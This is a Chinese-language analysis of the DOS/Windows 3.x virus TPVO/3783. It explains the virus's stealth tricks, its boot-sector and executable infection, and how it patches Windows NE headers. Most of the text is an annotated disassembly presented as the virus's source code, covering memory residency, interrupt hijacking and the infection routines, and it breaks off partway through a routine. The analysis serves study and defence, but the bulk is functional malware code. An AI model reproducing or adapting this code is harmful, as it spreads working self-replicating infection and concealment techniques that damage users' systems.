病毒介绍:
TPVO/3783 病毒是一种传染性、隐蔽性都很强的病毒，它的独到之处是可以传染 WINDOWS 文件，使病毒可以在WINDOWS执行时驻留内存。 该病毒传染硬盘、软盘引导区及 WINDOWS、DOS 可执行程序，包括.EXE.COM.OVL.386 等等文件，不传染带覆盖的文件，程序被传染后长度增加 3783 字节， 文件日期被 加上 100 年作为传染标记。 该病毒驻留内存后，用 DIR 命令看不出文件长度的变化，用 INT 13H读出的磁盘引导记录是正常的，而不是带毒的引导记录，用应用程序读出的带毒文件也都是正常的， 但是由 ARJ、PKZIP、RAR、LHA、BACKUP、MSBACKUP、TELIX七个程序读出的文件却是带毒的，所以被这些压缩程序压进文件包或用 TELIX通过调制解调器传到其他地方的文件 是带毒的，由此可见该病毒在隐藏和传播上的用心良苦。 该病毒在传染硬盘主引导区时隐藏于 0 柱面 0 头 5 扇区，传染软盘引导区时隐藏于新格式化的第 81 个磁道，传染文件时附在文件尾部，病毒本身不加密。 当带毒的 WINDOWS 系统运行时，根目录中的虚拟内存文件 386SPART.PAR 属性会变成普通属性，用 DIR 命令可以列出。病毒分析:
1. 驻留内存及截取中断 该病毒采用修改内存控制块的方法来驻留内存，如果 UMB 存在，病毒会驻留在 UMB中，该病毒驻留内存后截取 INT 21H 和 INT 13H 中断，来完成对文件和引导区的传染， 在截取 INT 21H 时，该病毒采取了与众不同的方法。下面是 INT 21H 内部片断，在中断程序完成了初始化后，将 AH 中的功能号放在 BX 中再乘 2，再用查表的办法得到相应子 程序的地址，然后用近调用来执行相应子程序，具体见下： ．．． FDC8:4198 8ADCMOVBL,AH ；AH 为子功能号 FDC8:419A D1E3SHLBX,1；放于 BX 中再乘 2 ．．． FDC8:41EA 2E8B9F9E3EMOVBX,CS:[BX+3E9E] ；3E9E 为各功能地址表的基地址 FDC8:41EF 36871EEA05XCHG BX,SS:[05EA]；调用地址在 05EA 中 FDC8:41F4 368E1EEC05MOVDS,SS:[05EC] FDC8:41F9 36FF16EA05CALL SS:[05EA] ；调用相应功能的子程序 ．．． 病毒在驻留时先截取 INT 2AH，在 INT 2AH 中检测到使用的堆栈为 MSDOS.SYS 堆栈段时，表示中断由 INT 21H 发出，这时由中断返回地址得到 MSDOS.SYS 程序段的段地址， 再查找以上几句指令并将 CALL SS:[05EA] 改为 CALL XXXX:053D 指向病毒代码，在完成修改、传染等功能后再转向原来的 INT 21H 执行。由于这一段代码在 INT 21H 的第一百 多句以后，当使用 DOS=HIGH 参数启动时这一段代码被移到 HMA 中， 所以该病毒的截取手段有很大的欺骗性，不但能骗过几乎所有内存监视程序，而且即使用手工反汇编 INT 21H中断程序都不一定能觉察到异常之处。 在截取 INT 13H 时，病毒先使用未公开中断 INT 2FH 的 1300H 功能来得到 DOS 内部设备驱动程序使用的原始 INT 13H 地址，然后在BIOS中随机寻找一个中断号大于 E0H 号的INT XX代码，将这个中断向量指向病毒的 INT 13H服务程序，然后将 DOS 保存的原始INT 13H 地址改成指向 BIOS 中的 INT XX 指令，使得在不同的计算机中指向病毒 程序的中断向量号都不相同。 2. 传染及其他部分 病毒截取 INT 13H 来传染磁盘的引导区，在进行普通的读写功能时，病毒并不传染，所以磁盘读写速度并不明显减慢，只有在对磁盘的引导区进行读写时，病毒才进行传染。 传染硬盘主引导区时，病毒隐藏在保留磁道 0 柱面 0 头第 5 扇区开始的 8 个扇区中，原引导记录被保存在 0 柱面 0 头第 13 扇区。一般软盘只有 80 个磁道，病毒在传染软 盘引导记录时，先格式化出一个第 81 磁道，再将自身隐藏于第 81 磁道 1 扇区开始的 8个扇区中，原引导记录被保存在第 81 磁道第 9 扇区。当有程序读取引导记录时， 病 毒将原引导记录读出送回。 病毒截取 INT 21H 来完成可执行文件的传染和一些欺骗功能，在 INT 21H 的 11H、12H、4EH、4FH 匹配文件寻找功能中，病毒返回正确的文件长度和时间，在 57H读写文 件时间功能中，病毒返回正确的文件时间，在 3FH 读文件功能中， 如果读到文件被修改的部分，病毒将返回正确的内容，在 40H 写文件功能中，如果写已被传染的文件， 病毒 将文件复原，到以后关闭文件时重新传染。结果在应用软件看来，带毒文件没有任何异常之处。 当执行 INT 21H 的 3DH 打开文件、3EH 关闭文件、43H 文件属性功能、56H 文件改名、4BH 执行文件时，病毒对文件进行传染，传染后病毒附于文件尾部，文件开始指针被 指向病毒入口处。对于.COM 文件，病毒将文件第一句指令改为 JMP XXXX跳转到病毒入口处，对于普通.EXE 文件，病毒将文件入口指针指向病毒入口处， 将堆栈指向病毒尾部 200H处。 下面详细分析病毒对 WINDOWS 可执行文件的修改，由于 WINDOWS 可执行文件的资料很少见，这里先简单介绍一下 WINDOWS 文件的结构：WINDOWS 文件由 DOS执行部分和 WINDOWS 执行部分组成，DOS 部分只是简单的打印一句提示信息即退出，WINDOWS部分以覆盖的方式位于文件后部。文件报头分两部分，第一部分为普通的.EXE 文件报头， 第 二部分为 NE" 新格式可执行报头，有关部分说明如下： 普通 .EXE 文件报头18H字重分配表偏移( WINDOWS 文件必须大于 0040H) 3CH双字"NE" 可执行报头在程序中的偏移 NE" 可执行报头 00H2 字节"NE" 符号 (长 40H 字节)14H字程序入口 IP 16H字程序入口段的段地址记录号 18H双字程序初始 SS:SP 1CH字段地址表中的记录数 22H字段地址表在程序中的偏移 32H字节段大小的计数单位 (移位值) 程序中所有的段都由段地址表中的一个记录来描述，包括段在程序中的偏移、段的大小、段的属性、段装入时要分配内存的大小，执行程序时，系统由入口段的记录号查段地 址表得出这个段在程序中的位置和大小，将代码装入内存，再由入口 IP开始执行。 段地址表中每个记录占用 8 个字节，格式如下： 00H字本段在程序中的偏移 (乘以计数单位) 02H字本段的长度 (单位：字节） 04H字本段的属性 06H字要分配的容量 (单位：字节) 病毒增加了一个段地址表记录来描述病毒代码段属性，在 WINDOWS 文件中， 段地址表一般紧接着 NE" 报头存放，段地址表后面也紧接着其他数据，中间没有多余字节，所 以病毒将整个 NE" 报头和段地址表前移了 8 字节，然后在空出的 8 字节中写下一个新的段地址表记录， 再将程序入口段记录号改到指向这个新的记录， 具体改动的数据有： 003CH处的 NE" 报头偏移减 8，"NE" 报头中 16H 的入口段记录号改为病毒段，1CH 的段地址表记录数加 1，另外将 04H、24H、26H、28H、2AH 中其他相关表的偏移加 8。 2. 病毒源码： ;==================================================================== ; DOS 可执行文件入口 ;==================================================================== F6C8:0000 0EPUSHCS F6C8:0001 1FPOP DS F6C8:0002 E80000CALL0005 ;重定位 F6C8:0005 5EPOP SI F6C8:0006 83EE05SUB SI,+05 F6C8:0009 56PUSHSI F6C8:000A 06PUSHES F6C8:000B B87F18MOV AX,187F ;检测内存驻留 F6C8:000E BB5344MOV BX,4453 F6C8:0011 CD21INT 21(DOS) F6C8:0013 81FBA187CMP BX,87A1 F6C8:0017 753AJNZ 0053F6C8:0019 07POP ES ;已驻留 F6C8:001A 5EPOP SI ;执行原程序 F6C8:001B 0EPUSHCS F6C8:001C 1FPOP DS F6C8:001D 8B84870EMOV AX,[SI+0E87] F6C8:0021 E8880BCALL0BAC F6C8:0024 740DJZ0033 ;.EXE 文件转 0033 F6C8:0026 48DEC AX F6C8:0027 BF0001MOV DI,0100 ;恢复 .COM 文件头 3 字节 F6C8:002A 57PUSHDI F6C8:002B FCCLD F6C8:002C ABSTOSW F6C8:002D 8A84890EMOV AL,[SI+0E89] F6C8:0031 AASTOSB F6C8:0032 C3RET ;执行原 .COM 文件F6C8:0033 8CC0MOV AX,ES ;重定位 .EXE 文件 F6C8:0035 051000ADD AX,0010 F6C8:0038 0384950EADD AX,[SI+0E95] F6C8:003C 8ED0MOV SS,AX F6C8:003E 8BA4970EMOV SP,[SI+0E97] F6C8:0042 8CC0MOV AX,ES F6C8:0044 051000ADD AX,0010 F6C8:0047 03849D0EADD AX,[SI+0E9D] F6C8:004B 50PUSHAX F6C8:004C FFB49B0EPUSHWORD PTR [SI+0E9B] F6C8:0050 06PUSHES F6C8:0051 1FPOP DS F6C8:0052 CBRETF ;执行原 .EXE 文件;======================================================================= ;驻留内存初始化部分 (调用: 0017) F6C8:0053 8CC0MOV AX,ES F6C8:0055 48DEC AX ;取 MCB F6C8:0056 E81E00CALL0077 ;取最后一块MCB地址 F6C8:0059 E83200CALL008E ;驻留内存 F6C8:005C 72BBJB0019 F6C8:005E 8ED9MOV DS,CX ;截取 INT 2AH F6C8:0060 B85103MOV AX,0351 ;中断到 CS:0351 F6C8:0063 8706A800XCHGAX,[00A8] ;由 INT 2AH 继续引导 F6C8:0067 26ES: F6C8:0068 A33A04MOV [043A],AX ;(转 0351) F6C8:006B 8CC0MOV AX,ES F6C8:006D 8706AA00XCHGAX,[00AA] F6C8:0071 26ES: F6C8:0072 A33C04MOV [043C],AX F6C8:0075 EBA2JMP 0019 ;执行原程序;======================================================================== ;找最后一块 MCB 地址 ;返回 BX = 最后一块MCB段地址 ;调用: 0056 F6C8:0077 33FFXOR DI,DI F6C8:0079 8ED8MOV DS,AX F6C8:007B 803D4DCMP BYTE PTR [DI],4D F6C8:007E 7405JZ0085 ;非最后一块转 0085 F6C8:0080 803D5ACMP BYTE PTR [DI],5A;最后一块返回 F6C8:0083 7508JNZ 008D F6C8:0085 8BD8MOV BX,AX F6C8:0087 034503ADD AX,[DI+03] F6C8:008A 40INC AX F6C8:008B EBEAJMP 0077 ;AX 为下一块 MCB 地址 F6C8:008D C3RET ;========================================================================= ;驻留内存子程序 ;调用: 0059 F6C8:008E 8EDBMOV DS,BX F6C8:0090 8B4503MOV AX,[DI+03] F6C8:0093 2D3801SUB AX,0138 ;截取内存 1380H 字节 F6C8:0096 720EJB00A6 F6C8:0098 894503MOV [DI+03],AX F6C8:009B 03D8ADD BX,AX F6C8:009D 43INC BX F6C8:009E 8EC3MOV ES,BX F6C8:00A0 B9C70EMOV CX,0EC7 ;移动病毒 0EC7 字节 F6C8:00A3 F3REPZ ;到内存中 F6C8:00A4 2ECS: F6C8:00A5 A4MOVSB F6C8:00A6 C3RET ;===================================================================== ; 引导区代码部分 ;===================================================================== F6C8:00A7 FACLI F6C8:00A8 33DBXOR BX,BX F6C8:00AA 8ED3MOV SS,BX F6C8:00AC BC007CMOV SP,7C00 F6C8:00AF 8EC4MOV ES,SP ;暂时将病毒读到 7C00:0000 F6C8:00B1 B80802MOV AX,0208 F6C8:00B4 B90150MOV CX,5001 ;硬盘为 0005 F6C8:00B7 BA0000MOV DX,0000 ;软盘为 5001 F6C8:00BA CD13INT 13(BIOS Disk) F6C8:00BC 7200JB00BE F6C8:00BE 06PUSHES F6C8:00BF 68C300PUSH00C3 ;转高端继续执行 F6C8:00C2 CBRETF F6C8:00C3 E82701CALL01ED ;随机生成 INT 13H 地址 F6C8:00C6 830EA800FFORWORD PTR [00A8],FFFF ;???? F6C8:00CB 871E4C00XCHGBX,[004C] F6C8:00CF 2ECS: F6C8:00D0 891EF800MOV [00F8],BX F6C8:00D4 8CC0MOV AX,ES F6C8:00D6 87064E00XCHGAX,[004E] ;截取 INT 13H F6C8:00DA 0EPUSHCS ;到 CS:00FC F6C8:00DB 1FPOP DS F6C8:00DC A3FA00MOV [00FA],AX ;保留原 INT 13H 到 00FA F6C8:00DF C606FF003CMOV BYTE PTR [00FF],3C F6C8:00E4 C60604013CMOV BYTE PTR [0104],3C F6C8:00E9 C6065805E8MOV BYTE PTR [0558],E8 F6C8:00EE CD19INT 19(BIOS Bootstrap);======================================================================== ;病毒调用 INT 13H F6C8:00F0 9CPUSHF F6C8:00F1 FACLI F6C8:00F2 0EPUSHCS F6C8:00F3 E80100CALL00F7 F6C8:00F6 C3RET F6C8:00F7 EA59EC00F0JMP F000:EC59;========================================================================= ; 新 INT 13H 代码部分 ;========================================================================= F6C8:00FC 83C406ADD SP,+06 F6C8:00FF EB3DJMP 013E ===> ;本句代码当病毒从 BOOT 区 F6C8:0101 60PUSHA ;引入时为 CMP AL,3D F6C8:0102 1EPUSHDS F6C8:0103 06PUSHES F6C8:0104 EB23JMP 0129 ===> ;本句代码当病毒从 BOOT 区 F6C8:0106 6A00PUSH0000 ;引入时为 CMP AL,23 F6C8:0108 1FPOP DS F6C8:0109 C41EA800LES BX,[00A8] F6C8:010D 26ES: F6C8:010E 803FCFCMP BYTE PTR [BX],CF F6C8:0111 7514JNZ 0127 ;INT 2AH 不是 IRET F6C8:0113 2ECS: ;转 0127 (013B) 执行 F6C8:0114 891E3A04MOV [043A],BX F6C8:0118 2ECS: F6C8:0119 8C063C04MOV [043C],ES ;设置 BOOT 引入 INT 2A F6C8:011D C706A8008603MOV WORD PTR [00A8],0386 ;到 CS:0386 F6C8:0123 8C0EAA00MOV [00AA],CS F6C8:0127 EB12JMP 013B;=========================================================================== F6C8:0129 B80312MOV AX,1203 F6C8:012C CD2FINT 2F(Multiplex) F6C8:012E 8CD8MOV AX,DS F6C8:0130 3D1001CMP AX,0110 ===> ;本数据由 039B 填入 F6C8:0133 7406JZ013B ;为初始化时 MSDOS.SYS 数据段 F6C8:0135 2ECS: F6C8:0136 C60604013CMOV BYTE PTR [0104],3C F6C8:013B 07POP ES F6C8:013C 1FPOP DS F6C8:013D 61POPA;============================================================================ ; 新 INT 13H 代码部分 F6C8:013E 80FC02CMP AH,02 F6C8:0141 72B4JB00F7 F6C8:0143 80FC03CMP AH,03 F6C8:0146 77AFJA00F7 F6C8:0148 83F901CMP CX,+01 F6C8:014B 75AAJNZ 00F7 F6C8:014D 0AF6ORDH,DH F6C8:014F 75A6JNZ 00F7 F6C8:0151 80FA80CMP DL,80 ;不是读引导区 F6C8:0154 77A1JA00F7 ;转原 INT 13HF6C8:0156 E897FFCALL00F0 ;读出引导区 F6C8:0159 7235JB0190 F6C8:015B 60PUSHA F6C8:015C 1EPUSHDS F6C8:015D 06PUSHES F6C8:015E 9CPUSHF F6C8:015F 06PUSHES F6C8:0160 8BF3MOV SI,BX F6C8:0162 06PUSHES F6C8:0163 1FPOP DS F6C8:0164 BF7711MOV DI,1177 F6C8:0167 0EPUSHCS F6C8:0168 07POP ES F6C8:0169 B90001MOV CX,0100 ;保存原引导区到 F6C8:016C F3REPZ ;CS:1177 F6C8:016D A5MOVSW F6C8:016E 0EPUSHCS F6C8:016F 1FPOP DS F6C8:0170 BF7711MOV DI,1177 F6C8:0173 817D468EC4CMP WORD PTR [DI+46],C48E F6C8:0178 07POP ES F6C8:0179 7518JNZ 0193 ;未感染转 0193 F6C8:017B B80102MOV AX,0201 ;已感染则读出 F6C8:017E 8B4D4CMOV CX,[DI+4C] ;原引导区 F6C8:0181 8A7550MOV DH,[DI+50] F6C8:0184 80C108ADD CL,08 F6C8:0187 9DPOPF F6C8:0188 E865FFCALL00F0 F6C8:018B 9CPUSHF F6C8:018C 9DPOPF F6C8:018D 07POP ES F6C8:018E 1FPOP DS F6C8:018F 61POPA F6C8:0190 CA0200RETF0002;========================================================================= ;病毒传染引导区代码部分 F6C8:0193 0EPUSHCS F6C8:0194 07POP ES F6C8:0195 B90500MOV CX,0005 F6C8:0198 0AD2ORDL,DL F6C8:019A 7812JS01AE ;硬盘转 01AE F6C8:019C B80A05MOV AX,050A ;传染软盘引导区部分 F6C8:019F B550MOV CH,50 ;格式化第 50H 磁道 F6C8:01A1 32F6XOR DH,DH F6C8:01A3 BB4D0EMOV BX,0E4D F6C8:01A6 E847FFCALL00F0 F6C8:01A9 7240JB01EB F6C8:01AB B90150MOV CX,5001 F6C8:01AE 890EB500MOV [00B5],CX F6C8:01B2 52PUSHDX F6C8:01B3 80E280AND DL,80 F6C8:01B6 8916B800MOV [00B8],DX F6C8:01BA 5APOP DX F6C8:01BB B80803MOV AX,0308 ;写病毒到磁盘 F6C8:01BE 33DBXOR BX,BX F6C8:01C0 E82DFFCALL00F0 F6C8:01C3 7226JB01EB F6C8:01C5 B80103MOV AX,0301 ;保存原引导区 F6C8:01C8 BB7711MOV BX,1177 F6C8:01CB 80C108ADD CL,08 F6C8:01CE E81FFFCALL00F0 F6C8:01D1 7218JB01EB F6C8:01D3 C707EB3CMOV WORD PTR [BX],3CEB F6C8:01D7 BEA700MOV SI,00A7 F6C8:01DA 8D7F3ELEA DI,[BX+3E] F6C8:01DD B91C00MOV CX,001C F6C8:01E0 F3REPZ F6C8:01E1 A4MOVSB F6C8:01E2 B80103MOV AX,0301 F6C8:01E5 B90100MOV CX,0001 F6C8:01E8 E805FFCALL00F0 ;写病毒到引导区 F6C8:01EB EB9FJMP 018C ;返回调用处;======================================================================== ;随机生成一个 INT 13H 地址 ;调用: 00C3 0369 ;有二种方式 1. 在 BIOS 中找一个 > 80号的 INT XX 代码 ; 将 INT XX 指向原 INT 13, 再将 INT 13 指向 BIOS 中 INT XX 代码 ; 2. 在 0000:04FB 中写下 JMP 原 INT 13 ; 再将 INT 13 指向 0000:04FB F6C8:01ED 33F6XOR SI,SI F6C8:01EF B800F0MOV AX,F000 F6C8:01F2 8ED8MOV DS,AX F6C8:01F4 8EC0MOV ES,AX F6C8:01F6 4EDEC SI F6C8:01F7 741FJZ0218 F6C8:01F9 803CCDCMP BYTE PTR [SI],CD F6C8:01FC 75F8JNZ 01F6 ;找一个 INT 代码 F6C8:01FE 3A4401CMP AL,[SI+01] F6C8:0201 73F3JNB 01F6 F6C8:0203 807C01E0CMP BYTE PTR [SI+01],E0 F6C8:0207 73EDJNB 01F6 ;小于 INT E0 继续找 F6C8:0209 864401XCHGAL,[SI+01] F6C8:020C 864401XCHGAL,[SI+01] F6C8:020F 3A4401CMP AL,[SI+01] ;保存 INT 号于 AL 中 F6C8:0212 75E2JNZ 01F6 ;不在 BIOS 中继续找 F6C8:0214 8BDEMOV BX,SI ;保存地址于 BX 中 F6C8:0216 EBDEJMP 01F6F6C8:0218 8EDEMOV DS,SI F6C8:021A 3C80CMP AL,80 ;在 BIOS 中未找到 F6C8:021C 720CJB022A ;INT ?? 代码转 022A F6C8:021E 2ECS: F6C8:021F C606FE0006MOV BYTE PTR [00FE],06 ;ADD SP,6 F6C8:0224 B404MOV AH,04 ;丢弃 INT XX 之返回地址 F6C8:0226 F6E4MUL AH ;AX 为中断向量表中地址 F6C8:0228 EB14JMP 023EF6C8:022A 2ECS: F6C8:022B C606FE0000MOV BYTE PTR [00FE],00 F6C8:0230 6A00PUSH0000 F6C8:0232 1FPOP DS ;在 0000:04FB 中写下 F6C8:0233 1EPUSHDS ;代码 JMP CS:00FC F6C8:0234 07POP ES F6C8:0235 BBFB04MOV BX,04FB F6C8:0238 C607EAMOV BYTE PTR [BX],EA F6C8:023B B8FC04MOV AX,04FCF6C8:023E 2ECS: F6C8:023F A34502MOV [0245],AX F6C8:0242 EB00JMP 0244 F6C8:0244 BE0003MOV SI,0300 ;值由上决定 F6C8:0247 C704FC00MOV WORD PTR [SI],00FC F6C8:024B 8C4C02MOV [SI+02],CS ;设新 INT 13H 向量 F6C8:024E C3RET ;到 CS:00FC;========================================================================== F6C8:024F 50PUSHAX ;不详 F6C8:0250 51PUSHCX F6C8:0251 52PUSHDX F6C8:0252 B91000MOV CX,0010 F6C8:0255 F7E1MUL CX F6C8:0257 8BCAMOV CX,DX F6C8:0259 92XCHGAX,DX F6C8:025A B80700MOV AX,0007 F6C8:025D CD31INT 31(DPMI API) F6C8:025F 5APOP DX F6C8:0260 59POP CX F6C8:0261 58POP AX F6C8:0262 C3RET ;========================================================================== ; WINDOWS 文件开始执行入口 ;========================================================================== F6C8:0263 60PUSHA F6C8:0264 1EPUSHDS F6C8:0265 06PUSHES F6C8:0266 E80000CALL0269 ;重定位 F6C8:0269 5EPOP SI F6C8:026A 81EE6902SUB SI,0269 F6C8:026E B87F18MOV AX,187F ;内存驻留校验 F6C8:0271 BB5344MOV BX,4453 F6C8:0274 CD21INT 21(DOS) F6C8:0276 81FBA187CMP BX,87A1 F6C8:027A 7503JNZ 027F ;已驻留转 0328 F6C8:027C E9A900JMP 0328 F6C8:027F 33C0XOR AX,AX ; F6C8:0281 B90100MOV CX,0001 F6C8:0284 CD31INT 31(DPMI API) F6C8:0286 93XCHGAX,BX F6C8:0287 B80800MOV AX,0008 F6C8:028A CD31INT 31(DPMI API) F6C8:028C 40INC AX F6C8:028D B1F2MOV CL,F2 F6C8:028F CD31INT 31(DPMI API) F6C8:0291 8EDBMOV DS,BX F6C8:0293 B452MOV AH,52 F6C8:0295 CD21INT 21(DOS) F6C8:0297 26ES: F6C8:0298 8B47FEMOV AX,[BX-02] F6C8:029B 33FFXOR DI,DI F6C8:029D 33D2XOR DX,DX F6C8:029F 8CDBMOV BX,DS F6C8:02A1 E8ABFFCALL024F F6C8:02A4 803D4DCMP BYTE PTR [DI],4D F6C8:02A7 7405JZ02AE F6C8:02A9 803D5ACMP BYTE PTR [DI],5A F6C8:02AC 7521JNZ 02CF F6C8:02AE 8BE8MOV BP,AX F6C8:02B0 8B4508MOV AX,[DI+08] F6C8:02B3 0D2020ORAX,2020 F6C8:02B6 3D7769CMP AX,6977 F6C8:02B9 750CJNZ 02C7 F6C8:02BB 8B450AMOV AX,[DI+0A] F6C8:02BE 0C20ORAL,20 F6C8:02C0 3D6E00CMP AX,006E F6C8:02C3 7502JNZ 02C7 F6C8:02C5 8BD5MOV DX,BP F6C8:02C7 8BC5MOV AX,BP F6C8:02C9 034503ADD AX,[DI+03] F6C8:02CC 40INC AX F6C8:02CD EBD0JMP 029F F6C8:02CF 95XCHGAX,BP F6C8:02D0 E87CFFCALL024F F6C8:02D3 816D033801SUB WORD PTR [DI+03],0138 F6C8:02D8 034503ADD AX,[DI+03] F6C8:02DB 40INC AX F6C8:02DC E870FFCALL024F F6C8:02DF 8EC3MOV ES,BX F6C8:02E1 95XCHGAX,BP F6C8:02E2 B80A00MOV AX,000A F6C8:02E5 8CCBMOV BX,CS F6C8:02E7 CD31INT 31(DPMI API) F6C8:02E9 8ED8MOV DS,AX F6C8:02EB B97D0EMOV CX,0E7D F6C8:02EE F3REPZ F6C8:02EF A4MOVSB F6C8:02F0 8CDBMOV BX,DS F6C8:02F2 91XCHGAX,CX F6C8:02F3 E859FFCALL024F F6C8:02F6 B85103MOV AX,0351 F6C8:02F9 8706A800XCHGAX,[00A8] F6C8:02FD 26ES: F6C8:02FE A33A04MOV [043A],AX F6C8:0301 55PUSHBP F6C8:0302 872EAA00XCHGBP,[00AA] F6C8:0306 26ES: F6C8:0307 892E3C04MOV [043C],BP F6C8:030B 5DPOP BP F6C8:030C 92XCHGAX,DX F6C8:030D 0BC0ORAX,AX F6C8:030F 7417JZ0328 F6C8:0311 E83BFFCALL024F F6C8:0314 B83003MOV AX,0330 F6C8:0317 87061A00XCHGAX,[001A] F6C8:031B 26ES: F6C8:031C A34D03MOV [034D],AX F6C8:031F 872E1C00XCHGBP,[001C] F6C8:0323 26ES: F6C8:0324 892E4F03MOV [034F],BP F6C8:0328 07POP ES F6C8:0329 1FPOP DS F6C8:032A 61POPA F6C8:032B EA0000FFFFJMP FFFF:0000F6C8:0330 50PUSHAX F6C8:0331 1EPUSHDS F6C8:0332 6A00PUSH0000 F6C8:0334 1FPOP DS F6C8:0335 B88603MOV AX,0386 F6C8:0338 8706A800XCHGAX,[00A8] F6C8:033C 2ECS: F6C8:033D A33A04MOV [043A],AX F6C8:0340 8CC8MOV AX,CS F6C8:0342 8706AA00XCHGAX,[00AA] F6C8:0346 2ECS: F6C8:0347 A33C04MOV [043C],AX F6C8:034A 1FPOP DS F6C8:034B 58POP AX F6C8:034C EAB1022805JMP 0528:02B1;========================================================================== ; 文件驻留引入 INT 2A 代码部分 ; 初始化时使用 ;========================================================================== F6C8:0351 60PUSHA F6C8:0352 1EPUSHDS F6C8:0353 06PUSHES F6C8:0354 2ECS: F6C8:0355 C606FF00EBMOV BYTE PTR [00FF],EB ;INT 13H F6C8:035A 2ECS: ;不检测 F6C8:035B C60658053DMOV BYTE PTR [0558],3D ;INT 21H 不检测 F6C8:0360 B80016MOV AX,1600 ;WINDOWS 增强模式检验 F6C8:0363 CD2FINT 2F F6C8:0365 0AC0ORAL,AL F6C8:0367 7505JNZ 036E ;WINDOWS 运行转 036E F6C8:0369 E881FECALL01ED ;随机生成 INT 13H 地址 F6C8:036C EB03JMP 0371 F6C8:036E E8B9FECALL022A ;随机生成 INT 13H 地址 F6C8:0371 B80013MOV AX,1300 ;取得原 INT 13H 地址 F6C8:0374 8BD3MOV DX,BX ;并设置新 INT 13H 地址 F6C8:0376 06PUSHES F6C8:0377 1FPOP DS ;INT 2F 之 1300 功能 F6C8:0378 CD2FINT 2F ;入口ES:BX 及 DS:DX F6C8:037A 2ECS: ;为新 INT 13H 地址 F6C8:037B 8916F800MOV [00F8],DX ;出口ES:BX 及 DS:DX F6C8:037F 2ECS: ;为旧 INT 13H 地址 F6C8:0380 8C1EFA00MOV [00FA],DS F6C8:0384 EB03JMP 0389 ;转截取 INT 21H (0389);========================================================================== ;BOOT 引导驻留引入 INT 2A 入口 F6C8:0386 60PUSHA F6C8:0387 1EPUSHDS F6C8:0388 06PUSHES;========================================================================== ;截取 INT 21H 代码部分 F6C8:0389 B80312MOV AX,1203 ;取 MSDOS.SYS 数据段地址 F6C8:038C CD2FINT 2F ;返回段地址 = DS F6C8:038E 8CD8MOV AX,DS F6C8:0390 8CD6MOV SI,SS F6C8:0392 2BF0SUB SI,AX F6C8:0394 7403JZ0399 ;在 MSDOS.SYS 中执行 F6C8:0396 E99D00JMP 0436 ;转 0399, 否则退出 F6C8:0399 0EPUSHCS F6C8:039A 1FPOP DS F6C8:039B A33101MOV [0131],AX F6C8:039E C606C00DEBMOV BYTE PTR [0DC0],EB F6C8:03A3 C6060401EBMOV BYTE PTR [0104],EB F6C8:03A8 C4063A04LES AX,[043A] F6C8:03AC 8EDEMOV DS,SI F6C8:03AE A3A800MOV [00A8],AX F6C8:03B1 8C06AA00MOV [00AA],ES ;恢复原 INT 2A 中断向量F6C8:03B5 8BECMOV BP,SP F6C8:03B7 8E5E16MOV DS,[BP+16] ;调用代码段 F6C8:03BA 83FE80CMP SI,-80 ;为 INT 21 的代码段 F6C8:03BD 7777JA0436 F6C8:03BF ACLODSB F6C8:03C0 3C2ECMP AL,2E ;找 2E 8B 9F xx xx F6C8:03C2 75F6JNZ 03BA ;即 MOV BX,CS:[BX+xxxx] F6C8:03C4 ADLODSW F6C8:03C5 3D8B9FCMP AX,9F8B F6C8:03C8 75F0JNZ 03BA F6C8:03CA ADLODSW ;此地址为 INT 21 功能=>子程序 F6C8:03CB 2ECS: ;转换表基址 F6C8:03CC A35111MOV [1151],AX ;保存地址于 1151F6C8:03CF B93000MOV CX,0030 F6C8:03D2 4EDEC SI F6C8:03D3 ADLODSW F6C8:03D4 3D871ECMP AX,1E87 ;找 87 1E (XCHG BX,SS:[xxxx]) F6C8:03D7 E0F9LOOPNE03D2 F6C8:03D9 E3DFJCXZ03BA F6C8:03DB ADLODSW F6C8:03DC 2ECS: F6C8:03DD A35311MOV [1153],AX ;调用 INT 21 子功能地址 F6C8:03E0 46INC SI ;找 36 FF 16 xx xx F6C8:03E1 813C36FFCMP WORD PTR [SI],FF36 F6C8:03E5 E0F9LOOPNE03E0 ;即 CALL SS:[xxxx] F6C8:03E7 E3D1JCXZ03BA F6C8:03E9 807C0216CMP BYTE PTR [SI+02],16 F6C8:03ED 75F1JNZ 03E0 F6C8:03EF 394403CMP [SI+03],AX ;将 CALL SS:[xxxx] F6C8:03F2 75ECJNZ 03E0 ;改为 CALL CS:053D F6C8:03F4 C6049AMOV BYTE PTR [SI],9A ;截取新 INT 21 F6C8:03F7 C744013D05MOV WORD PTR [SI+01],053D ;到 CS:053D F6C8:03FC 8C4C03MOV [SI+03],CS F6C8:03FF 2ECS: F6C8:0400 89365B11MOV [115B],SIF6C8:0404 83FE80CMP SI,-80 F6C8:0407 772DJA0436 F6C8:0409 4EDEC SI F6C8:040A ADLODSW F6C8:040B 3DFB80CMP AX,80FB ;找 FB 80 FC 11 75 0A C0 74 F6C8:040E 75F4JNZ 0404 ;即 CMP AH,11/JNZ XXXX F6C8:0410 813CFC11CMP WORD PTR [SI],11FC ;OR AL,AL/JZXXXX F6C8:0414 75EEJNZ 0404 ;此代码为 INT 2F F6C8:0416 817C02750ACMP WORD PTR [SI+02],0A75 ;中断的开始代码 F6C8:041B 75E7JNZ 0404 F6C8:041D 817C05C074CMP WORD PTR [SI+05],74C0 F6C8:0422 75E0JNZ 0404 F6C8:0424 4EDEC SI F6C8:0425 C6049AMOV BYTE PTR [SI],9A ;截取新 INT 2F F6C8:0428 C744013E04MOV WORD PTR [SI+01],043E ;到 CS:043E F6C8:042D 8C4C03MOV [SI+03],CS ;改为 CALL CS:043E F6C8:0430 4EDEC SI F6C8:0431 2ECS: F6C8:0432 89365D11MOV [115D],SI F6C8:0436 07POP ES F6C8:0437 1FPOP DS F6C8:0438 61POPA F6C8:0439 EADA101001JMP 0110:10DA ;转原 INT 2A;========================================================================= ; 新 INT 2F 中断代码部分 ;========================================================================= F6C8:043E 2ECS: F6C8:043F C606C00D3CMOV BYTE PTR [0DC0],3C F6C8:0444 50PUSHAX F6C8:0445 55PUSHBP F6C8:0446 8BECMOV BP,SP F6C8:0448 80FC11CMP AH,11 ;模拟原 INT 2F 功能 F6C8:044B 7404JZ0451 ;CMP AH,11/JNZ xxxx F6C8:044D 8346040AADD WORD PTR [BP+04],+0A F6C8:0451 8B460AMOV AX,[BP+0A] ;取调用 INT 2F 之地址 F6C8:0454 8CCDMOV BP,CS ;如果是病毒自己调用 F6C8:0456 3BC5CMP AX,BP ;转原 INT 2F F6C8:0458 5DPOP BP F6C8:0459 58POP AX F6C8:045A 740CJZ0468 ; F6C8:045C 3D1612CMP AX,1216 ;非病毒自己调用 F6C8:045F 7507JNZ 0468 ;则将 1216 功能 F6C8:0461 83C404ADD SP,+04 ;屏蔽, 出错返回 